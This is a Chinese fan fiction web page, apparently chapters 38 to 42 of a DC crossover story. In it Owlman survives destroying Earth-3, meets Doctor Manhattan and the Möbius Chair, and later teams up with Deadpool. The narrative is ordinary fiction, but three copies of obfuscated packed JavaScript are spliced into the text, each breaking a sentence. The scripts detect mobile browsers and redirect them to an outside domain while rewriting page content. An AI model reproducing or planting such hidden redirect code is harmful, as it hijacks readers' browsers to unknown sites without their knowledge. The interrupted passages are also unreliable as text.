“当然!”小丑说,“我不知道猫头鹰想要寻找什么问题的答案,但在他找到它之前,我们和他的互动都能算作是邻居之间进行的礼节性往来——” “你在说什么屁话,小丑?” “等等,”谜语人若有所思地抬起一只手,“听他说完。” “我已经说完了,爱德华,你在逼我解释笑话!”小丑嚷道,“你喝太多了,脑子都不好使。我的意思是我们在市中心布置一个陷阱!” 谜语人仿佛真的喝醉了。他眯起眼睛,半懂不懂似的重复:“陷阱?里面放着什么呢?” “看你们想送他什么。”小丑捏住木头哈莉的肚子,玩偶咕咕咯咯地大笑起来,“新年快乐,我的朋友们。” ** 他们行动起来,一群醉鬼招摇过市,托马斯遥遥吊在后头,听见风筝人对身边人说:“这是我这辈子做过的最疯狂的事。夜枭可能就在家里看电视剧,我们却要去哥谭市中央埋炸弹,而炸弹里面没有硫磺——其实什么都没有……” “有。”泥脸慢吞吞地道,“我准备了新年礼物。” “我也准备了——什么?我不是这个意思!我指这件事从头到尾都很奇怪,你懂吗?” “有什么奇怪的?” “……算了,我和你说不通。” “按照小丑的说法,我们还要布置一些障碍。他说这样才显得有趣。” “只是为了包含他喜欢的喜剧要素罢了。”风筝人气道,“我可没兴趣出演他剧本里的笑话角色。” “我想好了。”泥脸不受干扰地说,“我要变成利爪的样子,假装他被我们绑架。” 风筝人:“?” “猫女偷了一颗钻石,毒藤女把它埋在花盆里。花盆被摆在迷宫的终点,花蕊指向人质方向……最后夜枭会来到城市中央,发现我们留给他的礼物。你想好要怎么参与了么,查克?” 风筝人瞠目结舌。 小丑走在最前面,对拿着帽子扇风醒酒的谜语人说:“我在未来某一天肯定会后悔。” “后悔什么?把自己手里最丑的一个哈莉送给托马斯?” “不,没这回事。今天我心情好,不想和你吵架,爱德华。人终有一死,而我们注定死在夜枭手上,这点你承认吗?” 谜语人看过去,露出似有若无的微笑:“是,我承认。” “哎。”小丑说,“那么明天的我说不定会想,这一晚上的一切,倒不如没发生过!” ** 午夜时分,他们在市中央布置的惊喜小礼物果然被夜枭取走了,整个流程顺利得不行,托马斯好像从头到尾都没怀疑过,见到终点的‘炸弹’时也流露出几分惊愕与茫然。 这让所有参与人员的心中充满了成就感。他们喜气洋洋地返回到钟塔,决定趁着天还未亮再开一轮游戏—— 直到企鹅人突发奇想,打算去图书室的留言簿上写下只言片语,以记录今天的辉煌战果。 结果他发现笔记本不见了。 喝到舌头都不好使的企鹅呆滞地在桌案旁站了一会,然后气急败坏地用手杖敲打地板:“你们谁看到三楼的留言簿了?别打牌了!问你们呢!哪个去上厕所的拿走了三……三楼的留言簿!我说过厕纸在冰箱上面,但你们只在乎你们自己!” “管他呢,新年快乐!奥基!” “新年快……啊!!我看到你出老千了爱德华!不许动我的牌!” 他飞速跳回桌案,将这件小事彻底抛到脑后去了。 ============= 许多年后,小丑绑架真正的理查德·格雷森,与夜枭在天台顶上为量子本态炸弹的控制权对峙。 有那么一刻,他确实感到后悔: ——你看,我心知肚明,你我都不曾忘记那个晚上。 现在就还得花费力气假装希望从未到访。 39. 上帝已死 主宇宙。 蝙蝠侠风尘仆仆地回到韦恩庄园,听说蝙蝠女侠刚带着理查德出门转了一圈,因为“气氛实在尴尬”就提前回来了。阿尔弗雷德告诉他,他们现在坐在家庭图书馆里聊天,这给了布鲁斯休整的时间——他走到摆着家庭合影的橱柜前安静地站着晃了一会神,然后从腰带中拿出张从报纸上裁下来的旧照片,用手指捋平之后塞到提前准备好的玻璃相框夹层里。 照片是拼接的,左半边带着猫头鹰面具的夜枭和右半边西装革履的托马斯·韦恩以相同角度凝望着摄像头,脸上没什么笑容,生硬地隔在人群之外,像夜晚吊在树梢上的鸟,显得孤僻又有些怪异。 阿尔弗雷德在他身后发出比平日里更加沉重的呼气声。尽管有意收敛,布鲁斯还是注意到了他的叹息,接着就听见管家说道:“是我疏忽,老爷。我应该向他要一张。” 蝙蝠侠摇摇头:“我们都想不到,最主要的是他恐怕并不愿意。” 说到底,虽然他与托马斯对兄弟的印象大多源自对方,也确实有段时间相处得格外友善,但他们毕竟来自两个不同的世界和家庭。托马斯·韦恩扣响了主宇宙的门,他们就好像各自在对方的梦境里并肩走了一段路,等托马斯下定决心将线剪断的时候,梦就该醒了。 量子炸弹爆炸前,夜枭曾试图说服他:“我们还有第二种选择,你没必要拿一个正常的宇宙来冒险。” 我们。你。 小托马斯受到过良好的教育,他人称代词向来用得很讲究,只有在这种时候,他才会企图拉近关系似的用一句‘我们’。 可是“正常”又由什么定义的呢?在那颠倒的混沌的宇宙,谁能算作一个坏蛋? 布鲁斯思索着这些。 他的记忆再次飘扬到从地球三深红海角的悬崖上,沿着海路缓慢走到韦恩家别墅的下着暴雨的午后。天空、地面与大海全都连成灰蒙蒙的一片,海浪凶兽般冲他们咆哮,替那些走到绝路的人宣泄愤怒。 于是本该发出质问的人反倒讷讷无言,在嘈杂的水声中裹紧衣袍蹒跚前进,像两座被大雨浇熄了的燃尽的火山。 那时候走在同一条路上,布鲁斯就有他们早晚分道扬镳的领悟。 另有一条默契是,他们确乎将彼此看做兄弟,只是这关系没可能也没机会放在明面上去讲。 于是这么一张抽空从报纸上剪下来的旧照片就是极限了。 布鲁斯自橱柜上收回视线,决定去干第二件必须得做、必须由他来做、又极其不讨人喜欢的事。 他得去通知‘利爪’理查德·格雷森,夜枭的死讯。 理查德在二楼休息。 夜翼他们远赴地球-3战场的时候,留在家里的女孩们、杜克和狗都在尽力让他不要沉浸在担忧中胡思乱想,已有很多前例证明,这个年纪的青少年最容易钻牛角尖。但蝙蝠侠回来之后,听说理查德将自己照顾得不错,起码比刚面对父母死亡的布鲁斯强多了。 自从蝙蝠女侠和他谈过之后,理查德一直按时吃饭睡觉,适应环境比之前来得积极,也不再提回去的事,由于表现良好,他还得到外出放风的机会。 在地球-3的时候,布鲁斯是先将阿尔弗雷德等人送回主宇宙,再去尝试进行最后一搏来阻止夜枭的。结果回来一看,得到消息后本该在家等着汇合总结报告的老大到老三跑得一干二净,谁也不想给亡者家属送通知单。 布鲁斯情愿揽过这项熟悉的工作。他在图书室门外的阴影中站了片刻,看着理查德低头对手里的纸质书发呆,几分钟都没翻过一页,时不时警觉地往房间里上下攀爬寻找资料的达米安那望一眼。 布鲁斯注视着他们,心中默默想到泰戈尔的一句话:每个孩子到来,都代表着上帝并未对人类彻底失去信心。 这句话在反转宇宙——在托马斯心中,必然也有某一刻是适用的。不然他不会收养年幼的理查德,最后还将其交托给正义联盟。 可惜洪水泛滥之时,上帝已死。 布鲁斯抬起手敲门,指关节没触碰到门板的时候,理查德就若有所觉地抬起头。黑发年轻人与他对视,蓝眼睛里似乎还浮着点茫然,然而在注意到蝙蝠侠身后空无一人之后,这点茫然就连带着不剩几分的希望一起沉下去了。 地球-3的人可能也更擅长理解和接受这样的噩耗。布鲁斯看到理查德合上书站起来,避过达米安来到走廊,阖上门后站挺直脊背在他面前,还试图如常地挤出一个微笑,以至于表情看上去有些扭曲: “托马斯成功了吗?” 听上去竟然像是件好事。 布鲁斯顺着他的话说:“他成功了。抱歉。” 稍作停顿以给人反应时间。 “我会去处理你和潘尼沃斯先生的档案问题,如果你愿意……”他想到理查德和夜枭的关系,迟疑了一下,没有按照原定说法,而是临时改口道,“我会将你的收养人定为我父亲,在你成年以前监护人是我。你也可以选择其他生活方式,无论如何,韦恩庄园的门永远向你敞开。” “……” 年轻人脸上不可避免地浮现出痛苦和仇恨相交杂的表情,而且能看得出来,他不想让其他人、尤其是反转宇宙之外的人注意到这一点。布鲁斯移开视线,假装没看见利爪咬紧牙关时,从他每一块颤动着的面部肌肉中泄露出来的戾气。 半晌,理查德对他的问题避而不谈,硬邦邦地堪称缺乏礼貌地问道:“反监视者死了吗?” ** 反监视者死了吗? 我一直在思考这个问题,因为实在是没别的可干。要说明下目前的情况——我按下按钮,量子本态炸弹确实是爆炸了。 人们对毁灭和死亡应该是有所预感的,就像我能确定之前发生的一切并非我的错觉,尽管我说不清自己为什么还活着。 爆炸发生的瞬间,一种特殊的、来源不明的力量使我周围时间停滞、万物静止,唯独我站在凝固的时空中,像量子力学理论中那只著名的猫,处于既死又活的叠加态。 鉴于人类对量子力学的研究尚且有限,该领域多数理论都处于玄学范畴,我毁灭世界也是两辈子头一次,不确定造成变动的到底是爆炸还是外力。 不过到了这个地步,整个宇宙的生物连带着辛迪加都去到另一个维度了,我觉得也不差一时半会,就站在原地耐心地等着随便什么人过来把装着猫的容器盖掀开,不管它打算观测什么,至少我的结局已经写完了。 结果我先等来一把椅子。 来通知我们反监视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064610|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者即将到来的自称是密特隆的人,一直坐在一把能飞的发着光的高背椅上。后来超霸去宇宙里搜集反监视者的讯息,顺带也了解了下密特隆,他坐着的那把椅子有个学名叫莫比乌斯椅,传说中可以回答其拥有者的一切问题。 也就是说,谁坐上去,谁就变成了近乎全知的神。 我花了很长时间和飘到我面前、其上空无一物的莫比乌斯椅大眼瞪小眼。 要说死亡是个过程,我承认有这种可能,但是这过程未免过于漫长。而且我有什么问题非要这把椅子给我答案呢? 我生前身后都是终结,所有人力所能及或不能及的难题,要么早已被我解决,要么随着这次爆炸成为了多元宇宙间的尘埃。事到临头只有一些形而上学的宏大命题还有钻研的意义,譬如世界本质,又如我为什么而存在。难道还非得坐上去,听有罪者向虚空陈述他背后的累累血债,这忏悔之路才能通往安息之所吗? 太刻毒,以至于让人想想就心生畏怖,因此我没动。 椅子就也不动。 时间失去它的量度,我不知道我在这生与死的边缘等了多久,等得我耐心告罄,逐渐从对莫比乌斯椅的回避当中生出难以遏制的愤怒。这心情和我下定决心按下爆炸按钮时是不同的,但它们又都在向我反复强调,无论你愿意与否,能走的路皆只有一条。 所以我最终决定迈上台阶、转身坐下来时,头脑中只剩下怒火催生出的报复欲。我可以说是满怀恶意地问它:“我们的世界本质上是一篇漫画故事,对吗?” 不管这把椅子为何而来,不管是谁引导了这一切,我想告诉它盒子里的猫没那么无知,也从未对自己做过的选择感到后悔——我是有罪,就让我下到地狱里去的同胞站到我面前来一一罗列吧。 莫比乌斯椅没有立刻给我答案。 它漆黑的表面篆刻有银白色的纹路,持续不断地散发出柔和稳定的光。我猜想莫比乌斯椅的上一任主人密特隆可能是死了,也可能是被人从椅子上拖了下来。僵持几秒钟后,我脑海中显现出莫比乌斯椅的回答: “错。” 下一刻,我发现自己回到了哥谭。 凝固的万事万物重新开始流动,爆炸却消失了,时间从旭日东升变为沉沉黑夜。我半跪在哥谭一座普通居民房的尖顶上,身着制服,脚边摆着六个系有精致粉色蝴蝶结的绿色礼盒。 耳边响起阿尔弗雷德的声音,他是在对我说话,或者说对这个时间、这个地点的小托马斯·韦恩说话: “理查德少爷死的时候您在哪?” 我身体还保持着向前冲刺的起始姿势,头脑一片空白,暂时没能理解阿尔弗雷德的话究竟是什么意思。紧接着,我身后响起另一道陌生男性声音: “你好。” 我霍然回头,手中从不离身的武器蓄势待发,但当我看到和我打招呼的究竟是个什么玩意时,又不由得将手臂放下了。 我尽量客观地描述这一场景:哥谭市上空飘着一个蓝色的裸|男。 很奇怪,不管怎么说都很奇怪,可是这也不可能是我的幻觉,我干嘛要幻视这种东西?我充满迷茫地看着他,于是裸|男又说:“你可以叫我曼哈顿博士。”再看看我脚下的礼盒,“你不准备打开它们吗?” 40. 另一种可能 地上这六个礼物盒被摆放成火柴人的形状,而且体积大得出奇,联想到阿尔弗雷德刚才问得那句‘理查德死的时候您在哪’,我:“……” 有时候落地成盒并不只是一种会发生在游戏中的调侃。 事发突然又太离谱和令人恶心,我大部分震惊的情绪都分给了这个自称是曼哈顿博士的男人,只瞥了眼地上包装妥当的尸体就抬起头:“这是怎么回事?” 有着令人联想到阿凡达的蓝色皮肤、会飞却不知道为什么不穿衣服的超人类从容不迫地落到房顶上。阿尔弗雷德则在我耳机里问:“您在和谁说话?” 我:“他们看不见你。” “我改变了我身边的色光频率,因为暂时不想被看见。”曼哈顿博士道,“实际上我是来找你的——我观察你有一段时间了。” 我关掉身上的通讯设备,在肉眼可见的力量差距下没必要绕圈子:“而我甚至都没听说过你的名字,这倒是让人有些受宠若惊了——所以来讲讲你的小把戏,这是平行宇宙?” “不是,请等一下,让我想想该怎么解释。”曼哈顿博士又给出否定答案,他看着地上的礼物盒,“首先,你没有死在爆炸中的确是因为我。还记得那把莫比乌斯椅吗?你坐上它,问了那个问题,椅子回答了你,而我感觉到了。” 我就知道所谓‘全知’发生在现实生活中准没好事:“为什么你能感觉到?” “好问题,但是很难解释。”曼哈顿博士迈开腿走了两步,他的视线一直没有离开礼物盒,好像那里面有他非常在意的东西,“不如先来说说你现在最想干什么。” 我心生疑虑,斟酌片刻后不动声色道:“我想建议你穿件衣服。” 也不全是敷衍,这在我上辈子的国家是不能过审的! 曼哈顿博士愣了一下,很平静地说:“我不是很在乎这些。如果你在意……” 话音落下,他下半身多了一条黑色短裤。 我从需要打马赛克的地方移开目光,很确定这条裤子是突然出现的。看来要么他如他自己所说可以改变色光频率,要么具备瞬移或重塑物品的能力,也可能二者兼备。 “你防备心很重,但我可以理解。”曼哈顿博士脚步顿住,“既然如此,就先由我多说两句吧。为什么我知道你坐上莫比乌斯椅并向它询问了某个涉及到宇宙本质的问题?因为追本溯源,你在地球-3宇宙所经历过的一切,都是在我干涉了主宇宙的某段历史后发生的。” “听说过蝴蝶效应吗,夜枭?我可以随意地穿越时间。1940年7月,我在主宇宙造成了某个微小的改动。几十年后,变化天翻地覆,一些本该在人类史上留下名字的英雄消失了,一些重要角色的起源产生了变动,主宇宙的改变同样影响到其他平行宇宙,地球-3就是其中之一。” “然后你就该明白,你身边产生变化的不是空间,而是时间。你还在属于你的那个哥谭,唯一的区别是,现在是三个月前,反监视者尚未到来,地球-3还没毁灭。你的宿敌,小丑,杀死了理查德·格雷森,将他的尸体分装在礼物盒里送到你面前。” 我听懂了。 关于时间旅行,有个著名的祖母悖论,即你回到过去杀死自己的祖母,就不会有你的父亲,继而也不会有你,那么祖母就不会因你而死。而量子物理使用世界线理论来解释这个问题,也就是说每个随机事件都会造成历史的分支并形成平行宇宙。 但曼哈顿博士的存在显然不讲科学也不讲道理。他就相当于开启控制台模式的游戏玩家,能够将已经发生的过去当成铅笔写下的文字来随意涂抹。1940年,他改写了超级英雄的起源;现在,他拨动地球-3的世界线,并让我看到变化后的三个月前的哥谭。 我沉默良久,觉得这位博士的外挂开得多少有点大。 好像自从我们见过密特隆之后,就跟打开了个什么开关一样,遇到的对手的能力一个比一个夸张。听曼哈顿博士的意思,他之前一直逗留在主宇宙——也就是说正义联盟每天都在处理这种水平的危机吗? 看来辛迪加每日汲汲营营在单个宇宙的小事上,眼光还是放得不够长远。 我的思绪从对突如其来转折的分析中收回,并随着额角的抽痛意识到,这时候的我的骨灰本该和宇宙尘埃撒到一起,而不是拼命动脑筋琢磨一个可以让我获得诺贝尔奖的量子力学问题。 曼哈顿博士所说的一切与我有什么关系呢? 我很想礼貌要求他停止寒暄和讲解,直接把我送回爆炸的那一刻。 但是不行。 我用我的一生来证明,人活着就是一个让现实把你往前推着走的过程。 于是我问他:“利爪为什么会死?” 他费尽苦心,是准备让我从这出已经落幕的惨剧中分析出什么哲理呢? “我说过我观察你很久了。”曼哈顿博士很配合地回答,“这是因为,我本该可以通过粒子运动的轨迹看到过去和未来,但你用量子本态炸弹摧毁一个宇宙,爆炸产生的超光速粒子遮蔽住我的视线,使我在很长一段时间里并不知道地球-3以后会发生什么。因此我产生好奇,决定回到更久远的过去,尝试制止韦恩企业带头研制出量子武器。” 曼哈顿博士伸出手,也没见有什么大动作,我们周围的场景再次发生变化, “以防万一,我走得有点远。这里也是个你熟悉的地方——犯罪巷。” “……” 我能控制住自己的身体不因为突如其来的环境变化而产生应激反应,却很难阻止愤怒死灰复燃。曼哈顿博士看着我,他在观察我。我将喘息和怒气一同按下去,冷冷道:“我是否应该感谢你没有直接杀死八岁的小托马斯·韦恩?” “哦?我以为你对此感到遗憾呢,毕竟你似乎想过代替你的兄弟成为死去的那个。不过假如你耐心一点就会发现,在这条世界线上你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064611|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有亲手杀死布鲁斯·韦恩。” 曼哈顿博士摊开掌心,手里捏着一枚金属弹。 “我拦下从你枪膛中射出的那枚子弹,但是布鲁斯还是死了——局外人阿尔弗雷德·潘尼沃斯从旁边补了一枪。我没有继续阻拦,请你相信,我来到这个时间点是意外,但我很好奇后面会发生什么。” “你如常长大,成为夜枭,加入辛迪加。这一条世界线如我刚才所说,没有量子本态炸弹。你仍然掌控住哥谭并成为辛迪加的一员,但若要攫取权力,你需要付出更多努力,所以你同超女王的关系变得更加——亲密。然而在某一刻……” 他回头看着我。 “该怎么形容呢?也许这一次布鲁斯·韦恩的死没有给你等同的愧疚,也许你放弃一些……我不知道。总之,你设计谋杀了理查德·格雷森的父母并收养了他。超女王窃听到这条秘密,在合适的时间背叛了你,使利爪知道了他父母死亡的真相。为此他离开韦恩庄园,却最终死于小丑之手。” 说完曼哈顿博士拿起那枚子弹,轻轻一弹。隔着数十年光阴,小巷深处再次血流如注,我面无表情地看着这一幕,直到周围画面分崩离析。子弹来自小托马斯·韦恩的枪膛,从曼哈顿博士的指尖走了一遭,最终命中布鲁斯·韦恩的心脏——一个注定的终点。 被改变的世界线又回到了原点,曼哈顿博士对我说:“我给很多人展示过历史的分节点,他们要么拒绝承认自己不愿意接受的部分,要么受到严重打击、从此一蹶不振。我感受到了你的愤怒,除此之外呢?你承认你有可能做出诸如谋杀理查德·格雷森父母这样的恶行吗?” …… “我不知道。” 他蓝盈盈的发着光的眼睛直视我:“请解答。” 我觉得我正在逐渐靠近谜底,有关于曼哈顿博士坐下这一切的理由。我半靠在犯罪巷几十年间毫无变化的砖墙上,对他竖起一根被盔甲覆盖住的手指——不是中间的那只:“首先,我是一个普通人,这世上有许多我无法解决的问题,比如布鲁斯的死,再比如你。我尽量去处理我能处理的那些,‘尽量’这个单词的意思就是,方法首先必须得好用。” “哪怕违背你的某些坚持?别否认,夜枭,我观察过你很——” “我欣赏你的求知欲,博士,然而你的理解能力有待提高。”我打断他,“我的意思是,假设一个人为了生存,或者其他利益,杀了另一个人,但如果没有这回事,如果他不曾经历危机,他可能到死都在帮助他人和做好事。你明白吗?不到事情发生的那一刻,我没法告诉你我是个什么样的人,特别是在你将‘谋杀’定义为‘恶行’的情况下。” “我只能说,”我想到了被摆在我脚下的六个礼物盒,“这一切并非没有可能发生。” 我能看出曼哈顿博士思考了一段时间。 他纠正道:“……并不是我将‘谋杀’定义为‘恶行’,而是你。” 41. 我们的命运 “我认识一个人……一个曾经的变装英雄,他为拯救世界策划了一起阴谋,直接或间接地杀死近三百万人。各国政府为了对抗危机不得不团结一致,然后我们迎来了和平。” 我差点被他荒诞的描述和三百万这个大数字逗笑了,但考虑到我刚刚试图杀死72亿人、再加上宇宙里许许多多我这辈子和下辈子都不一定能认全的生物,我决定礼貌地维持住我的表情,并说道:“不错的故事。” “那是另外一个宇宙发生的事了——不同于主宇宙和你所探知到的任意一个地球。我曾以为你和法老王——就是我刚才提到的那个通过杀死三百万人拯救世界的人——是一个类型。” 曼哈顿博士始终平静,他太过强大,以至于个人的情绪在他面前显得如此渺小。 “后来我意识到我犯了一个错误。简单来说,我们迷茫,是因为我们不知道什么才是正确的。而你,夜枭,你好像从一开始就看穿了这个世界。许多人还在原地打转的时候,你清楚地知道道标在什么地方。” 我们说话时,他又将时间向前调整了一下。 天空依旧是浓云密布的,但地平线尽头泛起了莹莹的光,远处有升起的蘑菇云——这是反监视者来到地球三,而这片宇宙还未毁灭的时刻。 我们来到万里之外的辛迪加总部,卡尔听见动静回过头来,看到我之后,对其他几个成员说了什么。除露易丝之外的所有人都点点头,神力戒有点抗拒,但他瞥了我了一眼,还是跟随大部队向反监视者的方向跑去,最后留在原地的只剩下超霸和超女王。 卡尔向我们飞过来:“夜枭?你不是应该在哥谭吗?” 说实话,我从未想过还会再见到辛迪加。在我眼中我们已经变成了墓碑和扫墓人的关系,可能片刻之后我也会加入其中,但此时此刻,我几乎将这两个熟悉的家伙当成向我行走来的尸体,因而使得眼下的场面变得滑稽可笑起来。 “我来看看。”我对他笑了笑。 大约是由于强敌当前违反常理的轻松的语气,卡尔惊疑不定地看着我,半晌竟然说道:“事情还没到彻底糟糕的地步,托马斯,我们不会输的。” 我问他:“为什么这么说?” 这个从出生起就没正经上过一天学的氪星人开始皱着眉组织语言,露易丝看不下去,插话道:“他杀了小丑,你知道这件事吗?” 故人死去的消息就像河边水鹭被惊扰时、轻轻扇动翅膀往上跳了那么一下,紧接着一切都归于平静。 我说:“不知道,他干了什么?” 露易丝安静地看着我,说道:“他说‘猫头鹰放弃了他的巢。’” 多奇怪啊,这世界已经走到了尽头,我们三个站在这,竟然好像还是什么都没发生似的,如同站在盛夏的棒球场上,谈论糖果般讲述死亡, “你知道卡尔的论调,托马斯,‘这世上没有比死亡更加令人恐惧的东西’,所以小丑用生命送来的情报一定是真的。我请你回答我,托马斯——是真的吗?我们没有退路了吗?” 露易丝有一双漂亮的蓝眼睛。 明亮有神,总是显得锋锐又自信。因此当她投来一个饱含爱意的眼波时,你几乎以为她无可自拔地爱上你了、并不自禁地为这份奢侈的感情心动不已。就好比你没法停止呼吸,你没法不去爱在月光下跑过荒野的、眼神像月亮一样的母狼,你也没法拒绝与露易丝纠缠下去。然而我直到此刻才意识到,我从未夸奖过露易丝的眼睛,哪怕它们真的有那么动人。 至于现在,我又何必去赞美一个已死的人? 我说:“是。” 露易丝一拳打了过来,我没躲,但是被超霸拦住了。 卡尔问:“你会像以前那样,在我们彻底打起来之前给出一个说得过去的解释吗?” 我沉默片刻,耸了下肩膀:“没有。” 卡尔松开露易丝的拳头。 亚马逊人有那么一刻状若疯狂,我差点以为我会死在她手上。结果露易丝在最后只是轻柔地靠过来,长发扫在我耳侧,一点点用力捏碎我的肩上的骨头,小声说道:“我不能说我没想过这一天,托马斯。” 超霸悬在空中望着我们,我也抬头看着他,我想我现在的表情肯定不能算得上好看,但卡尔比我还夸张——他眼圈和鼻尖都变得通红。 我觉得简直不可思议。 露易丝看出我的惊讶,松开手闷声笑起来:“你看过他哭鼻子吗?还没有吧。” 我忍着疼,眨了眨眼,无比惊异。 “我很抱歉,让你看到咱们辛迪加的头儿这种丢人的样子。”露易丝说,“可是你是压死骆驼的最后一根稻草,托马斯,他在这种事上绝对信任你,你要是不说,他真的以为我们能赢。” “……” “你不是喜欢看他闷着头往前冲的样子吗?我知道你喜欢,托马斯。那你现在又何必过来将我们最后一份希望打碎掉?我以为你会倾向于安静一点的结局的。” 卡尔与我对视。 他飘在空中,可他的眼中盈满了人性化的泪水,我从未像此刻这样清晰认识到我们如此相似,而即使是氪星人,在我面前也是受害者。 “你们已经死了。”我最终实话实说,“我从已经结束的未来回到这……看一眼。” “你呢?夜枭?”超霸问,“只有你活着?” “——在那条时间线上,我们都会死。包括我。” “你有没有可能会后悔?” “从不。” 卡尔不再说话了。 他仿佛在这一刻受到了某些触动。泪水从他俊美的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064612|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊上流淌下来,像古希腊神话在描述的天神的末路。他开始向后飞,他鲜红色的披风在黑沉沉的天空下扬起,胸前印着那个巨大的氪星字母——他已知道无路可走,于是头也不回地迎向命运。 超女王紧随其后。 “我们的世界处在一个特殊的时代。”曼哈顿博士站在我身后不远处,声音格外清晰,“因此我也曾经阅读过一些俄国文学,试图弄明白人类个体间的不同之处。我记得陀思妥耶夫斯基曾经写过:‘一个人意识到自己微不足道和软弱无力时所感受到的羞愧有一个极限,一旦越过,他就开始从自己的羞愧中得到巨大的快感。’” “你想说什么?” “你愧疚吗,夜枭?你对你同伴说过的话是否是真实的?你愿意对你的灵魂起誓,你从未感到过后悔吗?” 我的……我大概能算作朋友的人们,如有耳闻地远远看过来。 我咬紧牙关,向曼哈顿博士重复:“从不。” 远处大楼倒下了,卡尔抱住一个幸存的普通人,将他从废墟里面拉扯出来。 “你在倒退。你走向你认为丑恶的那条路。”曼哈顿博士的双眼越来越亮,“即使如此,你仍然认为那是丑恶,而非拯救。是什么让你坚信这片宇宙里仍然存在希望?” 我回答他:“因为我见到过。” 我见到过,便得以学会在这个世界上去爱更具体的人。如果世界没有毁灭,十年后它会变得更好吗?我无法做这样的预测,就像我不知道在相同境遇下,我会不会对理查德的父母举起屠刀。也许某一天我仍然走上这条路,但不必因为我选择放弃、而对全部的人类丧失信心,也不该因为我们这个地球上的混乱、而无视其他平行宇宙的努力。 说到底,布鲁斯说得对,救赎的机会出现时,我与它擦肩而过,选择了更稳妥的那个结局。 曼哈顿博士说:“如果这不是结束呢?” 我右边的身体在肩膀骨头碎掉之后都像不属于我了一样,现在整个人又疼又累,不由得觉得死亡实在是可亲可爱:“你的问题有点多,博士。” 就不能给人一点安静去死的空间? “我的意思是,如果还有机会呢?”曼哈顿博士执着地道,“我会回到这座城市、这个国家、乃至于这片土地刚诞生的时刻。我在那埋下一颗可能会引发变动的种子。既然你坚信这世上总会有人在坚持,我忍不住有点想要见证那一幕了——就让我们看看世界有没有可能被普通人所改变吧。” 诚实地讲,我第一遍时没有听得太明白,只怔怔地看着他。 但曼哈顿博士已经讲完了。他还是不太懂得顾忌其他人的情绪,做决定时也相当独断,干脆利落地说:“再见——再也不见,托马斯,祝你下次睁开眼时一切都好。” 他离开了。 42. 综英美if线2 那之后韦德·威尔森AKA死侍,将不少时间放在说服夜枭放弃闯进图书馆历史区、并由于热爱学习而成为蝙蝠侠手中的白送战绩之一上面。 “他是你的兄弟——但他不知道!!我们现在最重要的任务是逃跑,你像个怨妇一样去图书馆追觅旧日时光有什么意义?未来新闻联播上有的是机会供你寻找代餐!”他跟托马斯抢夺方向盘的控制权,朝着对方大喊,并在过路人惊异地看过来时表情凶恶地回看过去,“有什么好看的?你们没见过两个成年壮汉挤在轿车里发展成18+剧情吗?” “砰”地一声,托马斯按着他的头撞向侧面车玻璃。 “明白了吗?”死侍吐出一口带血的唾沫,“18+。” 他转身抽刀回敬,削掉了夜枭头盔上的一只耳朵。 人群伴着惊呼奔走四散。 远处响起警笛声。 死侍高声大骂强行踩下油门。方向盘还握在夜枭手里,他们保持着这种诡异的合作方式冲向旁边的围栏。 “你会死的!!但我不会!”他迎着风喊道,却没有踩刹车的打算。 夜枭在他旁边哼笑一声,也没有松开方向盘。 “草!你真的看过我的个人电影吗?我不想你死在我旁边,老兄,这样我把自己的部分从你的碎肉里面挑拣着拼起来的时候会觉得有点恶心。” 托马斯:“我不在乎。” “你他妈该死的在乎!你根本不敢见他!你不知道他是个什么样的人,不知道自己会不会变成他的刀下亡魂,变成他的一笔无可挽回的罪状!你是个懦弱的混蛋!一个胆小鬼!我现在让你离开这,我在帮你!!” 不知是死侍的话起了作用、还是夜枭并没有看上去那么无所顾忌,总而言之,在彻底无法挽回之前托马斯猛一用力拨转方向盘,死侍适时轻点刹车,车轮与地面摩擦发出刺耳的声响,他们在临近建筑物的地方来了个略显狼狈的漂移。 “感谢!上帝!”死侍每说一个单词,就用被他砍下来的猫头鹰的耳朵戳一下旁边的玻璃——眼下那上面多了个颇为可爱的圆洞,周围还糊着从他头上留下的血,“我们达成共识了,甜心。去纽约?” 夜枭转动方向盘。 “闭嘴。” 死侍踩下油门。 他们歪歪扭扭地再次爬上主路,向着哥谭之外的地方冲去。 “顺带一提,我不是很想通过你握方向盘我踩油门方式来考验默契。这有点像Steam上的情侣分手双人小游戏,反正不太适用于荧幕健康……” ** 三天后,纽约。 “看我发现了什么?当当当~这就是著名的复仇者联盟大厦!它还好好地站在这呢,说明我们到得还不算晚,是吧,起码某个名字都不能提的紫色外星人没有来过。” 死侍站在一条人迹罕至的街道中央举着手机开启自拍模式,托马斯立在他旁边,他们身后不远处确实是那座远近闻名的建筑。刚才那段话是在拍摄短视频上传tiktok,但这还不算结束:“我还要再上传几张照片到我的ins上面。托马斯,你要么凑近一点,要么从我的镜头中滚开。” 